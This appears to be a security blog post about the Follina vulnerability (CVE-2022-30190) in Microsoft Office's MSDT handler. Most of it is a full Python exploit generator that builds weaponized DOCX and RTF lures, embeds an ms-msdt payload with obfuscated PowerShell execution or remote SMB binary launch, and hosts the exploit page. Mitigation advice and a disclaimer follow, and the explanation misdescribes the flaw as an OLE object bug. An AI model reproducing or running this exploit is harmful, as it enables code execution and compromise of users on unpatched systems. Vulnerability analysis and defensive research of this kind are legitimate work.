Follina Zero-Day Exploit (CVE-2022-30190): Technical Deep Dive

Remember that seemingly harmless Word doc you opened last year? It could've been Follina, a digital serpent that lurked in Microsoft Office in 2022. This wasn't just a bug, it was a technical masterpiece of malicious ingenuity. 

Understanding the Vulnerability:

Follina hid within MSDT, Microsoft's built-in diagnostic tool. It exploited a chink in how MSDT processed URLs embedded in documents. By crafting a specific URL laced with malicious code, attackers could bypass security checks and inject that code directly into your system. 

The URL payload typically started with "ms-msdt:/id" followed by parameters disguised as innocuous file paths. These parameters triggered MSDT to launch external applications, but with a twist. Hackers cleverly embedded commands within the path, hidden using encoding like base64, to execute arbitrary code instead of launching legitimate apps.

Proof of Concept:

To analyze the vulnerability and its impact, we can follow these steps:

  • Obtain a test payload that triggers harmless applications like calculator and notepad for demonstration purposes. However, this vulnerability could be exploited for malicious purposes such as malware downloads or establishing remote access.

  • Create and host an HTML file containing a script that utilizes the built-in MSDT tool.

  • Craft a document (DOC, DOCX, or RTF) that references this externally hosted HTML file, acting as the trigger for the vulnerability.

Here’s the script for doing all of the above and hosting the exploit.html file on the local server:

import argparse
import os
import zipfile
import http.server
import socketserver
import base64
from time import sleep, perf_counter
import threading as th
from urllib.parse import urlparse
# Helper function to zip whole dir
def zipdir(path, ziph):
    for root, dirs, files in os.walk(path):
        for file in files:
            os.utime(os.path.join(root, file), (1653895859, 1653895859))
            ziph.write(os.path.join(root, file),
                       os.path.relpath(
                            os.path.join(root, file),
                            path
                       ))
def generate_docx(payload_url):
    const_docx_name = "clickme.docx"
    with open("src/document.xml.rels.tpl", "r") as f:
        tmp = f.read()
    payload_rels = tmp.format(payload_url = payload_url)
    if not os.path.exists("src/docx/word/_rels"):
        os.makedirs("src/docx/word/_rels")
    with open("src/docx/word/_rels/document.xml.rels", "w") as f:
        f.write(payload_rels)

    with zipfile.ZipFile(const_docx_name, 'w', zipfile.ZIP_DEFLATED) as zipf:
        zipdir("src/docx", zipf)
    print(f"Generated '{const_docx_name}' in current directory")
    return const_docx_name
def generate_rtf(payload_url):
    s = payload_url
    docuri_hex = "".join("{:02x}".format(ord(c)) for c in s)
    docuri_hex_wide = "00".join("{:02x}".format(ord(c)) for c in s)
    url_moniker_length = (int(len(docuri_hex_wide)/2)+3+24) 
    url_moniker_length_encoded = f"{url_moniker_length:x}"
    composite_moniker_length = int(len(docuri_hex_wide)/2)+3+95
    composite_moniker_length_encoded = f"{composite_moniker_length:x}"
    const_rtf_name = "clickme.rtf"
    null_padding_ole_object = "00"*(196-int(len(docuri_hex_wide)/2))
    null_padding_link_object = "00"*(565-int(len(docuri_hex_wide)/2)
int(len(docuri_hex)/2))
    with open("src/rtf/clickme.rtf.tpl", "r") as f:
        tmp = f.read()
    payload_rtf = tmp.replace('payload_url_deobf', payload_url) # cannot use format due to {} characters in RTF
    payload_rtf = payload_rtf.replace('{payload_url_hex}', docuri_hex)
    payload_rtf = payload_rtf.replace('{composite_moniker_length_encoded}', composite_moniker_length_encoded)
    payload_rtf = payload_rtf.replace('{url_moniker_length_encoded}', url_moniker_length_encoded)
    payload_rtf = payload_rtf.replace('{payload_url_wide}', docuri_hex_wide)
    payload_rtf = payload_rtf.replace('{null_padding_ole_object}',
null_padding_ole_object)
    payload_rtf = payload_rtf.replace('{null_padding_link_object}', null_padding_link_object)
    with open(const_rtf_name, "w") as f:
        f.write(payload_rtf)
    print(f"Generated '{const_rtf_name}' in current directory")    
    return const_rtf_name
if __name__ == "__main__":
    # Parse arguments
    parser = argparse.ArgumentParser()
    required = parser.add_argument_group('Required Arguments')
    binary = parser.add_argument_group('Binary Execution Arguments')
    command = parser.add_argument_group('Command Execution Arguments')
    optional = parser.add_argument_group('Optional Arguments')
    required.add_argument('-m', '--mode', action='store', dest='mode', choices={"binary", "command"},
        help='Execution mode, can be "binary" to load a (remote) binary, or "command" to run an encoded PS command', required=True)
    binary.add_argument('-b', '--binary', action='store', dest='binary', 
        help='The full path of the binary to run. Can be local or remote from an SMB share')
    command.add_argument('-c', '--command', action='store', dest='command',
        help='The encoded command to execute in "command" mode')
    optional.add_argument('-t', '--type', action='store', dest='type', choices={"docx", "rtf"}, default="docx",
        help='The type of payload to use, can be "docx" or "rtf"', required=True)
    optional.add_argument('-u', '--url', action='store', dest='url', default='localhost',
        help='The hostname or IP address where the generated document should retrieve your payload, defaults to "localhost". Disables web server if custom URL scheme or path are specified')
    optional.add_argument('-H', '--host', action='store', dest='host', default="0.0.0.0",
        help='The interface for the web server to listen on, defaults to all interfaces (0.0.0.0)')
    optional.add_argument('-P', '--port', action='store', dest='port', default=80, type=int,
        help='The port to run the HTTP server on, defaults to 80')
    args = parser.parse_args()
    payload_url = f"http://{args.url}:{args.port}/exploit.html"
    if args.mode == "binary" and args.binary is None:
        raise SystemExit("Binary mode requires a binary to be specified, e.g. -b '\\\\localhost\\c$\\Windows\\System32\\calc.exe'")
    if args.mode == "command" and args.command is None:
        raise SystemExit("Command mode requires a command to be specified, e.g. -c 'c:\\windows\\system32\\cmd.exe /c whoami > c:\\users\\public\\pwned.txt'")
    payload_url = f"http://{args.url}:{args.port}/exploit.html"
    enable_webserver = True
    if args.url != "localhost":  # if not default, parse the custom URL
        url = urlparse(args.url)
        try:
            path = args.url.split("/")[1]
        except IndexError:  # no path detected in URL
            path = None
        if url.scheme == "http" or url.scheme == "https" or path is not None:  # if protocol or path is specified, use user input as-is
            payload_url = f"{args.url}"
            enable_webserver = False
            print("Custom URL detected, webserver will be disabled")
    # if none of these execute, the payload_url will remain as defined above, formatting the URL for the user
    if args.mode == "command":
        # Original PowerShell execution variant
        command = args.command.replace("\"", "\\\"")
        encoded_command = base64.b64encode(bytearray(command, 'utf-16-le')).decode('UTF-8') # Powershell life...
        payload = fr'''"ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'{encoded_command}'+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""'''
    if args.mode == "binary":
        # John Hammond binary variant
        binary_path = args.binary.replace('\\', '\\\\').rstrip('.exe')
        payload = fr'"ms-msdt:/id PCWDiagnostic /skip force /param
\"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$({binary_path})/.exe\""'    # Prepare the doc file
    if args.type == "docx":
        payload_name = generate_docx(payload_url)
    if args.type == "rtf":
        payload_name = generate_rtf(payload_url)
    # Prepare the HTML payload
    if not os.path.exists("www"):
        os.makedirs("www")
    with open("src/exploit.html.tpl", "r") as f:
        tmp = f.read()
    payload_html = tmp.format(payload = payload)
    with open("www/exploit.html", "w") as f:
        f.write(payload_html)
    print("Generated 'exploit.html' in 'www' directory")
    # Host the payload
    if enable_webserver is True:
        class Handler(http.server.SimpleHTTPRequestHandler):
            def __init__(self, *args, **kwargs):
                super().__init__(*args, directory="www", **kwargs)
        print(f"Serving payload on {payload_url}")
        with socketserver.TCPServer((args.host, args.port), Handler) as httpd:
            httpd.serve_forever()

Let's break down the main sections of the script:

  • Function definitions and imports: The code imports necessary libraries like argparse for parsing arguments, os for file operations, zipfile for archiving, http.server for hosting content, and base64 for encoding. Helper functions like zipdir and os.utime are defined for manipulating files and timestamps.

  • Payload generation: generate_docx and generate_rtf functions take a payload URL as input and create a malicious document of the specified type (DOCX or RTF). These functions involve template manipulation, string formatting, and data encoding to embed the payload URL within the document. The payload URL directs users to the locally hosted exploit.html file containing the malicious code.

  • Argument parsing and configuration: The if __name__ == "__main__" block handles command-line arguments. It defines required and optional arguments like execution mode (binary or command), payload type (DOCX or RTF), URL for hosting, web server host and port, etc. The code validates and processes arguments, including encoding the command for PowerShell execution in "command" mode.

  • Web server and payload hosting: If the custom URL for the exploit isn't localhost, the web server is disabled. Otherwise, a simple HTTP server is launched on the specified host and port to serve the exploit.html file. This file contains the malicious payload that leverages OLE object vulnerability to execute commands or download binaries from the server.

  • Overall functionality: This code essentially creates malicious documents that, when opened in a vulnerable version of Microsoft Word, exploit the OLE object vulnerability to execute attacker-controlled code. The code can download and execute arbitrary binaries or run encoded PowerShell commands on the target system.

Impact and Potential Exploits:

The potential impact of CVE-2022-30190 is severe. A successful exploit could grant attackers:

  • Full server control: Execute arbitrary code, steal sensitive data, deploy malware, or disrupt critical operations.

  • Lateral movement: Gain access to other internal systems within the network.

  • Data exfiltration: Steal sensitive data like user credentials, financial records, or confidential documents.

Cybersecurity researchers identified various potential exploit vectors, including:

  • Macro Mayhem: Malicious macros embedded within documents could have exploited Follina when enabled.

  • Man-in-the-Middle Attacks: Intercepting network traffic and injecting malicious URLs into document downloads could have triggered the exploit on targeted systems. 

  • Open redirect vulnerabilities: Redirecting users to malicious websites for further exploitation.

Mitigating the Threat:

  • Patching and System Hardening:  Prioritize prompt patching of Microsoft Office and Windows systems to install the security updates addressing the Follina vulnerability. This is the most fundamental and effective mitigation strategy. Harden system configurations by disabling unnecessary features and services, minimizing attack surface area.

  • URL Filtering and Sandboxing: Implement URL filtering mechanisms at network gateways and endpoints to block access to known malicious URLs associated with Follina exploits. Utilize application sandboxing solutions to isolate potentially unsafe documents and restrict their ability to interact with the system.

  • Macro and Script Execution Control: Disable macros by default in Microsoft Office documents to prevent automatic execution of potentially malicious embedded code. Enforce script execution policies to restrict the execution of PowerShell and other scripting languages that could be leveraged by the exploit.

  • Intrusion Detection and Endpoint Security: Deploy intrusion detection and prevention systems (IDS/IPS) capable of identifying and blocking network traffic patterns associated with Follina attacks. Utilize endpoint security solutions with advanced malware detection and behavior analysis capabilities to identify and neutralize malicious code injected through the exploit.

Deep Insights and Lessons Learned:

While the immediate threat of Follina has been neutralized, its sting leaves behind crucial insights and enduring lessons for navigating the ever-evolving landscape of cyber threats. Let's delve deeper into the ramifications of this zero-day exploit and what it teaches us about securing our digital lives:

  • Trust No Tool: Even tools we rely on daily, like Microsoft Office, can harbor hidden vulnerabilities. This underscores the need for constant vigilance and proactive patching. We must move beyond blind trust and adopt a critical lens towards any software we use.

  • The Power of Patching: Promptly applying security patches, particularly for critical vulnerabilities like Follina, is the single most effective mitigation strategy. Delaying patches leaves us exposed and vulnerable to attackers.

Further Resources:

Disclaimer

The information presented in this blog post is for educational purposes only. It is intended to raise awareness about the CVE-2022-30190 vulnerability and help mitigate the risks. It is not intended to be used for malicious purposes.

Exploiting vulnerabilities in live systems without proper authorization is illegal and harmful. This blog post does not advocate or encourage such activities.

Unmasking CVE-2024-28255: Authentication Bypass in OpenMetadata
Unmasking CVE-2024-28255: Authentication Bypass in OpenMetadata
2024-06-16
James McGill
CVE-2024-4956: Path Traversal Vulnerability in Sonatype Nexus Repository 3
CVE-2024-4956: Path Traversal Vulnerability in Sonatype Nexus Repository 3
2024-06-02
James McGill
CVE-2024-23346: Arbitrary Code Execution in Pymatgen via Insecure Deserialization
CVE-2024-23346: Arbitrary Code Execution in Pymatgen via Insecure Deserialization
2024-05-26
James McGill
CVE-2022-44268: Dissecting the ImageMagick Arbitrary File Disclosure Vulnerability
CVE-2022-44268: Dissecting the ImageMagick Arbitrary File Disclosure Vulnerability
2024-05-26
James McGill
Spring Cloud Gateway Actuator Code Injection (CVE-2022-22947): A Deeper Dive for Security Researchers
Spring Cloud Gateway Actuator Code Injection (CVE-2022-22947): A Deeper Dive for Security Researchers
2024-05-19
James McGill
CVE-2024-22416: CSRF Vulnerability in pyLoad (pyload-ng)
CVE-2024-22416: CSRF Vulnerability in pyLoad (pyload-ng)
2024-05-19
James McGill